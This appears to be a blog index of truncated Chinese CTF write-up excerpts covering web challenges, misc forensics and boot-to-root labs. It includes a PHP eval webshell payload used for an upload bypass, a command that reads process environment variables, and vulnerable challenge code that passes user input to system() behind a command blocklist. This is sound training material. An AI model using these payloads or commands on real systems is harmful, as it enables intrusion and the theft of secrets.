NSSCTF web wp 2
[NSSCTF] Web区 Write Up 2[陇剑杯 2021] webshell 题目描述: 单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客获取webshell之后,权限是______? 流量分析根据题目描述应该是传了个 webshell 到服务器, 那首先聚焦一下 POST 上传的文件, 过滤掉其他包: 观察 POST 的参数内容可以发现传递的指令, 前面传失败的时候服务器会返回 404 状态码, 这里传了 whoami 指令, 并且服务器返回了 200, 比较可疑: 把返回包也抓了, 把其中的 html 复制在 vscode 里打开: 123456<tr><td class="e">Apache Version </td><td class="v">Apache/2.4.7 (Ubuntu) </td></tr>\n<tr><td class="e">Apache API...
buuctf misc wp 1
[buuctf] misc区 write up 1二维码题解打开是一个二维码, 扫码是一串文本: secret is here 用 binwalk 扫出一个加密的压缩数据: 用 dd 指令把其中的压缩数据提取出来: 1dd if=QR_code.png bs=1 skip=471 of=4number.zip 15 字节是压缩前的原始大小; 参数: if input file, 输入文件; of output file, 输出文件; bs1 block size, 每次读取 1 字节, 默认是 500 字节; skip 跳过块量, 这里是 471 个块 (块由 bs 决定大小); count 只复制一定数量的块出来; seek 在输出文件中跳过若干个块再写, 一般用于追加; iflag=skip_bytes,count_bytes 明确告诉 dd skip 和 count 单位是字节, 而不是 block。可以和 bs 配合使用。 或者也可以用 foremost: 1foremost QR_code.png 提取出来之后显示需要密码, 根据名字,...
buuctf web wp 7
[buuctf] web区 write up 7[NewStarCTF 公开赛赛道]So Baby RCE代码审计典中典之开门审计代码: 1234567891011 <?phperror_reporting(0);if(isset($_GET["cmd"])){ if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){ echo "Don't Hack Me"; }else{ system($_GET["cmd"]); }}else{ show_source(__FILE__);} 非常一目了然的 RCE,...
NSSCTF web wp 1
[NSSCTF] Web区 Write Up 1 SWPUCTF 2021 新生赛[SWPUCTF 2021 新生赛]gift_F12代码审计直接在源码里看见了: [SWPUCTF 2021 新生赛]easyupload1.0打开是一个文件上传界面, 直接传 shell 被拦了 文件上传绕过修改文件头类型就可以绕过了; 连接到终端, 有个 flag.php, 可惜不对: 枚举了一下发现在环境变量里: cat /proc/self/environ [SWPUCTF 2021 新生赛]easyupload2.0题解跟上一题类似, 不过传 phtml 就行了: 123<script language="php"> <?=@eval($_POST['shell']);?></script> 上传成功不过不能执行, 可能是因为 php 版本 >= 7.0 (这种写法在 7.0 后被移除), 直接只传中间这一句就行了: 同样的方法就能找到flag: [SWPUCTF 2021...
buuctf web wp 6
[buuctf] web区 write up 6[NewStarCTF 2023 公开赛道]Final 题目描述: Best wishes for you. just search! 打开靶机是一个 Think PHP 5.x 版本的首页; 扫了一下没有什么特别明显的信息泄露, 那么切入点应该在 Think PHP V5 框架上; Think PHP 框架首先有必要了解一下 MVC 架构; MVC 架构MVC, 就是 模型-视图-控制器 架构, 也可以理解为一种开发模式; 三者各有分工: 模型 (Model): 负责编写 module 类, 存储和操作系统的中心数据, 这里应该存放纯粹的业务逻辑。 视图 (View): 主要负责把数据渲染为 html/json 类, 将信息显示给用户, 也就是前台显示。 控制器 (Controller): 编写 class 类文件, 处理用户输入的信息。接受请求, 校验/解析输入, 调用业务逻辑: 负责从视图读取数据, 控制用户输入,...
buuctf web wp 5
[buuctf] web区 write up 5[网鼎杯 2020 朱雀组]Think Java源码审计访问网站, 是一个 json 对象: 这个题目还有个附件, 打开发现是部分 class 源码, 其中一段关键代码: 123456789101112131415@CrossOrigin@RestController@RequestMapping({"/common/test"})public class Test { public Test() { } @PostMapping({"/sqlDict"}) @Access @ApiOperation("为了开发方便对应数据库字典查询") public ResponseResult sqlDict(String dbName) throws IOException { List<Table> tables =...
LampSecurityCTF 5+7 - CTF
LampSecurityCTF 5+7 - CTF LampSecurityCTF5 - CTF 靶机下载: 镜像 基本信息收集主机发现 端口扫描 80 端口爆了比较多的信息; 网页访问打开是一个论坛系统: Phake Organization; 目录爆破简单的爆破一下: 根据结果能发现 php 信息: 另外, 在首页能找到 Andy 这个用户的 blog, 通过 webmail 一路找进来能找到一个管理员登录界面: 注意这里有写 “NanoCMS Admin Login” Nano 漏洞利用既然知道了 CMS , 着手在 google 和 Metasploit 里收集一下 nday: NanoCMS 未对已认证用户创建网页时的数据进行过滤页面默认保存为 .php 后缀,使得通过认证的攻击者能够访问底层系统; 这个利用需要一个能登陆的已经通过认证的 CMS 账户, 不过尝试注册的话, 注册之后貌似不会默认分配密码, 需要用邮箱去重置密码, 先看看能不能获取已知账户的密码, 例如这个 Andy: 信息泄露接着找找这个 “nano cms” 的漏洞,...
buuctf web wp 4
[buuctf] web区 write up 4这一节开始慢慢上难度了; [SCTF2019]Flag Shop代码审计开门见审计 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647<script> function buyFlag() { fetch("/shop", { method: 'POST', // or 'PUT' headers: new Headers({ 'Content-Type': 'application/x-www-form-urlencoded' }) }) .then(res => res.text()) ...
Matrix 3 - CTF
Matrix 3 - CTF vulhub, 难度中等 信息收集主机发现 端口扫描 访问网页 打开源码, 发现有个隐藏的图片: 用 binwalk 等检测了一下, 暂时没发现信息隐藏, 访问 /Matrix: 目录爆破是一个类似迷宫一样的小游戏, 大概就是要访问到 /Matrix/?/?/?/?/? 才能走出迷宫。前面如果乱选, 在第三轮就会走到死胡同, 但是如果前三轮分别选了 n, e, o, 后面就还要再选两轮, 结合这个作者前面的习惯, 估计前三位就是 neo, 接下来用 Burpsuite 的 Intruder, 方式选 Cluster Bomb, 两处 payload 从 0 遍历到 9 即可: 发现结果是 /Matrix/n/e/o/6/4: 访问这个界面, 有个 secret.gz, 不过解压不出来, cat 一下发现就是个文本文件, 内容是 admin:76a2173be6393254e72ffa4d6df1030a 后面这一串看起来很像 md5, 碰撞一下发现就是 passwd 的 md5 哈希。 站点: crackstation,...
buuctf web wp 3
[buuctf] web区 write up 3[b01lers2020]Welcome to Earth题解刚进来就显示在一个逃脱界面, 十秒钟之后就转到了 /die/ 下并显示你挂了, 还挺幽默。 看了下 JS 源码, 10秒设置了自动跳转 /die/, 另外还有个 /chase/ 目录: 12345678910111213141516171819202122document.onkeydown = function(event) { event = event || window.event; if (event.keyCode == 27) { event.preventDefault(); window.location = "/chase/"; } else die(); }; function sleep(ms) { return new Promise(resolve =>...